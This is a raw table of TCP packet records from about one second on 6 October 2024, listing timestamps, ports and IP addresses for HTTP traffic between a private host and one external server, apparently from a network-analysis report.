Oct 6, 2024 22:33:14.056291103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056313992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056328058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056346893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056355000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056363106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056375027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056468964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056483030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056497097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056514025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056526899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056535959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056550980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056569099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056576014 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056588888 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056602001 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056608915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056622982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056632996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056653023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056853056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056874037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056888103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056898117 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056909084 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056921959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056931019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056955099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056963921 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056976080 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.056984901 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.056998014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.057008028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.057018995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.057029009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.057041883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.057054996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.057065010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.057075024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.057087898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.057100058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.057115078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.057121992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.057132959 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.057149887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.057157040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.057164907 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.057178020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.057193995 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.057220936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.057449102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.057462931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.057476997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.057492971 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.057501078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.057509899 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.057523012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.057533026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.057544947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.057555914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.057569027 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.057578087 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.057589054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.057600975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.057620049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.144577026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.144640923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.144649982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.144754887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.144768953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.144778013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.144784927 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.144793987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.144932985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.144952059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.144963026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.144975901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.144989014 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145023108 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145066977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145081997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145107031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145117044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145137072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145148993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145262957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145277023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145291090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145303965 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145313978 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145330906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145339012 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145353079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145363092 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145379066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145386934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145404100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145415068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145415068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145472050 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145488977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145528078 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145571947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145586014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145601988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145617962 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145627975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145643950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145688057 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145699024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145730019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145787001 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145802021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145827055 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145840883 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145880938 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145895004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145910025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.145920992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.145951033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146033049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146047115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146073103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146084070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146127939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146142006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146157980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146167040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146188974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146231890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146297932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146311998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146327019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146342039 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146352053 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146368980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146378040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146378040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146395922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146408081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146444082 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146647930 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146668911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146683931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146696091 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146707058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146720886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146728992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146742105 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146756887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146769047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146785021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146794081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146795034 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146811008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146821022 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146833897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146845102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146857977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146868944 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146882057 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146892071 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146905899 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146919966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146929979 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146945000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146955013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.146962881 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.146998882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.147253990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147275925 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147289991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147300005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.147314072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.147322893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147334099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.147346973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147361994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147376060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147396088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.147396088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.147396088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.147417068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.147433996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147452116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147464991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147489071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147495985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.147509098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.147520065 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147531033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.147567034 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.147778988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147793055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147808075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147824049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.147831917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.147840023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147850037 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.147911072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.147936106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147950888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147964954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.147974014 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.147988081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.147995949 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148009062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148020029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148034096 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148041964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148051977 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148065090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148077965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148088932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148097992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148112059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148122072 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148133993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148153067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148168087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148175001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148186922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148205996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148214102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148222923 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148237944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148245096 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148257971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148272991 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148287058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148298979 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148308039 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148318052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148333073 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148349047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148358107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148371935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148474932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148747921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148761988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148776054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148807049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148818016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148842096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148855925 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148870945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148880005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148895025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148902893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148917913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148929119 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148941994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148956060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148971081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.148996115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.148996115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.149023056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.149023056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.149024010 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.233691931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.233743906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.233757973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.233771086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.233781099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.233810902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.233833075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.233849049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.233865023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.233875990 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.233892918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.233901024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.233908892 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.233923912 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.233967066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.233980894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.233995914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234004974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234025002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234035969 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234061003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234075069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234090090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234119892 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234119892 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234131098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234245062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234261036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234276056 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234291077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234302998 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234317064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234328032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234339952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234349966 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234364986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234375000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234400988 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234620094 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234633923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234648943 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234663963 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234672070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234679937 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234689951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234703064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234714031 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234725952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234735966 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234749079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234760046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234772921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234781981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234797001 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234806061 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234819889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234828949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234842062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234852076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234864950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234874964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234889030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234898090 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234913111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.234921932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.234947920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235153913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235168934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235191107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:14.235202074 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235209942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:14.235223055 CEST	49741	80	192.168.2.4	141.98.233.156
